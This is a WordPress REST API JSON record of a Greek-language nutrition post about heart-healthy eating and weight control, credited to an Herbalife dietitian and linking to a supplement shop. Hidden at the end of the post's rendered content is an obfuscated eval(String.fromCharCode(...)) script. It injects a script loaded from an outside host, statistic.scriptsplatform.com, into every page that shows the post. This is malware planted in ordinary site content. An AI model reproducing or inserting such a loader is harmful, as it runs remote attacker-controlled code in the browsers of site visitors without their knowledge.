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src=\"\/wp-content\/uploads\/2021\/09\/TheScoop_02_07_2019_MyHL_Hearts_EN-300x105.jpg\" alt=\"\" width=\"300\" height=\"105\" \/><\/a><\/p>\n<p><strong>\u0394\u03b9\u03b1\u03c4\u03c1\u03bf\u03c6\u03ae \u03ba\u03b1\u03b9 \u03c4\u03c1\u03cc\u03c0\u03bf\u03c2 \u03b6\u03c9\u03ae\u03c2 \u03b3\u03b9\u03b1 \u03c4\u03bf\u03bd \u03ad\u03bb\u03b5\u03b3\u03c7\u03bf \u03c4\u03bf\u03c5 \u03b2\u03ac\u03c1\u03bf\u03c5\u03c2 \u03ba\u03b1\u03b9 \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03ce\u03b8\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c5\u03b3\u03b5\u03af\u03b1\u03c2 \u03c4\u03b7\u03c2 \u03ba\u03b1\u03c1\u03b4\u03b9\u03ac\u03c2<\/strong><strong>\u200e<\/strong><\/p>\n<p><strong>\u200e<\/strong><strong>\u2022<\/strong> <strong>\u0391\u03c0\u03bf\u03bb\u03b1\u03cd\u03c3\u03c4\u03b5<\/strong> <strong>\u03bc\u03b9\u03b1<\/strong><strong> \u03c5\u03b3\u03b9\u03b5\u03b9\u03bd\u03ae, \u03b9\u03c3\u03bf\u03c1\u03c1\u03bf\u03c0\u03b7\u03bc\u03ad\u03bd\u03b7 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<em><strong>\u03c0\u03b5\u03c1\u03b9\u03b5\u03ba\u03c4\u03b9\u03ba\u03cc\u03c4\u03b7\u03c4\u03b1\u03c2<\/strong><\/em><em><strong>\u200e<\/strong><\/em><strong>\u200e<\/strong> <strong>\u200e<\/strong>\u200e\u03c3\u03b5 \u03bb\u03b9\u03c0\u03b1\u03c1\u03ac \u03b1\u03c0\u03cc \u03ad\u03bd\u03b1 \u03c3\u03c5\u03bd\u03b4\u03c5\u03b1\u03c3\u03bc\u03cc \u03c6\u03c5\u03c4\u03b9\u03ba\u03ce\u03bd \u03ba\u03b1\u03b9 \u03b6\u03c9\u03b9\u03ba\u03ce\u03bd \u03c0\u03b7\u03b3\u03ce\u03bd \u03b8\u03b1 \u03b2\u03bf\u03b7\u03b8\u03ae\u03c3\u03bf\u03c5\u03bd \u03c3\u03c4\u03b7 \u03b4\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03cc\u03c3\u03bb\u03b7\u03c8\u03b7\u03c2 \u03ba\u03bf\u03c1\u03b5\u03c3\u03bc\u03ad\u03bd\u03c9\u03bd \u03bb\u03b9\u03c0\u03b1\u03c1\u03ce\u03bd \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b1 \u03ba\u03ac\u03c4\u03c9, \u03b9\u03ba\u03b1\u03bd\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 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href=\"https:\/\/healthymotivate.com\/katastima\/proionta-vasiki-diatrofis\/simpliromata-diatrofis\/sumpliroma-diatrofis-herbalifeline-max\/\">\u03c9\u03bc\u03ad\u03b3\u03b1-3<\/a> \u03bb\u03b9\u03c0\u03b1\u03c1\u03ac \u03bf\u03be\u03ad\u03b1 \u03b3\u03bd\u03c9\u03c3\u03c4\u03ac \u03c9\u03c2 EPA \u03ba\u03b1\u03b9 DHA.<\/p>\n<p>&#8211; \u200e<strong>\u200e<\/strong> <strong>\u200e<\/strong><em><strong>\u200e<\/strong><\/em><em><strong>\u03a4\u03b1<\/strong><\/em> <em><strong>\u03c0\u03bf\u03bb\u03cd\u03c7\u03c1\u03c9\u03bc\u03b1<\/strong><\/em> <em><strong>\u03c6\u03c1\u03bf\u03cd\u03c4\u03b1<\/strong><\/em> <em><strong>\u03ba\u03b1\u03b9<\/strong><\/em> <em><strong>\u03bb\u03b1\u03c7\u03b1\u03bd\u03b9\u03ba\u03ac<\/strong><\/em><em><strong>, <\/strong><\/em><em><strong>\u03ba\u03b1\u03b9<\/strong><\/em> <em><strong>\u03c4\u03b1<\/strong><\/em> <em><strong>\u03b4\u03b7\u03bc\u03b7\u03c4\u03c1\u03b9\u03b1\u03ba\u03ac<\/strong><\/em> <em><strong>\u03bf\u03bb\u03b9\u03ba\u03ae\u03c2<\/strong><\/em> <em><strong>\u03b1\u03bb\u03ad\u03c3\u03b5\u03c9\u03c2<\/strong><\/em><em><strong>, <\/strong><\/em><em><strong>\u200e<\/strong><\/em><strong>\u200e<\/strong> <strong>\u200e<\/strong>\u200e\u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bf\u03b9 \u03c5\u03b4\u03b1\u03c4\u03ac\u03bd\u03b8\u03c1\u03b1\u03ba\u03b5\u03c2 \u03c3\u03b1\u03c2. \u200e<br \/>\n\u200e \u200e\u0395\u03af\u03bd\u03b1\u03b9 \u03c0\u03bb\u03bf\u03cd\u03c3\u03b9\u03b1 \u03c3\u03b5 \u03b8\u03c1\u03b5\u03c0\u03c4\u03b9\u03ba\u03ac \u03c3\u03c5\u03c3\u03c4\u03b1\u03c4\u03b9\u03ba\u03ac, \u03b1\u03bb\u03bb\u03ac \u03c3\u03c7\u03b5\u03c4\u03b9\u03ba\u03ac \u03c7\u03b1\u03bc\u03b7\u03bb\u03ac \u03c3\u03b5 \u03b8\u03b5\u03c1\u03bc\u03af\u03b4\u03b5\u03c2, \u03b3\u03b5\u03b3\u03bf\u03bd\u03cc\u03c2 \u03c0\u03bf\u03c5 \u03c4\u03bf\u03c5\u03c2 \u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03ac \u03c4\u03b9\u03c2 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\u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03c5\u03b3\u03b5\u03af\u03b1 \u03c4\u03b7\u03c2 \u03ba\u03b1\u03c1\u03b4\u03b9\u03ac\u03c2 \u03c3\u03b1\u03c2.\u200e<\/p>\n<p><em>Susan Bowerman, M.S., R.D., C.S.S.D., F.A.N.D. \u2013 Director, Worldwide Nutrition Education and Training at Herbalife. Susan is a Registered Dietitian and a Board-Certified Specialist in Sports Dietetics.<\/em><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na \u03b3\u03b9\u03b1\u03c4\u03af \u03b7 \u03b4\u03b9\u03b1\u03c4\u03ae\u03c1\u03b7\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03b2\u03ac\u03c1\u03bf\u03c5\u03c2 \u03c3\u03b1\u03c2 \u03c5\u03c0\u03cc \u03ad\u03bb\u03b5\u03b3\u03c7\u03bf \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03cc\u03c3\u03bf \u03c3\u03b7\u03bc\u03b1\u03bd\u03c4\u03b9\u03ba\u03ae \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03c5\u03b3\u03b5\u03af\u03b1 \u03c4\u03b7\u03c2 \u03ba\u03b1\u03c1\u03b4\u03b9\u03ac\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03ce\u03c2 \u03bc\u03b9\u03b1 \u03c5\u03b3\u03b9\u03b5\u03b9\u03bd\u03ae \u03b4\u03b9\u03b1\u03c4\u03c1\u03bf\u03c6\u03ae \u03ba\u03b1\u03c1\u03b4\u03b9\u03ac\u03c2 \u03bc\u03c0\u03bf\u03c1\u03b5\u03af \u03bd\u03b1 \u03c3\u03b1\u03c2 \u03b2\u03bf\u03b7\u03b8\u03ae\u03c3\u03b5\u03b9 \u03bd\u03b1 \u03b5\u03bb\u03ad\u03b3\u03be\u03b5\u03c4\u03b5 \u03c4\u03bf&#8230;.<\/p>\n","protected":false},"author":5,"featured_media":11856,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[107],"tags":[],"class_list":["post-8080","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-107"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/posts\/8080","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/comments?post=8080"}],"version-history":[{"count":3,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/posts\/8080\/revisions"}],"predecessor-version":[{"id":11850,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/posts\/8080\/revisions\/11850"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/media\/11856"}],"wp:attachment":[{"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/media?parent=8080"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/categories?post=8080"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.evenziademo2.com\/el\/wp-json\/wp\/v2\/tags?post=8080"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}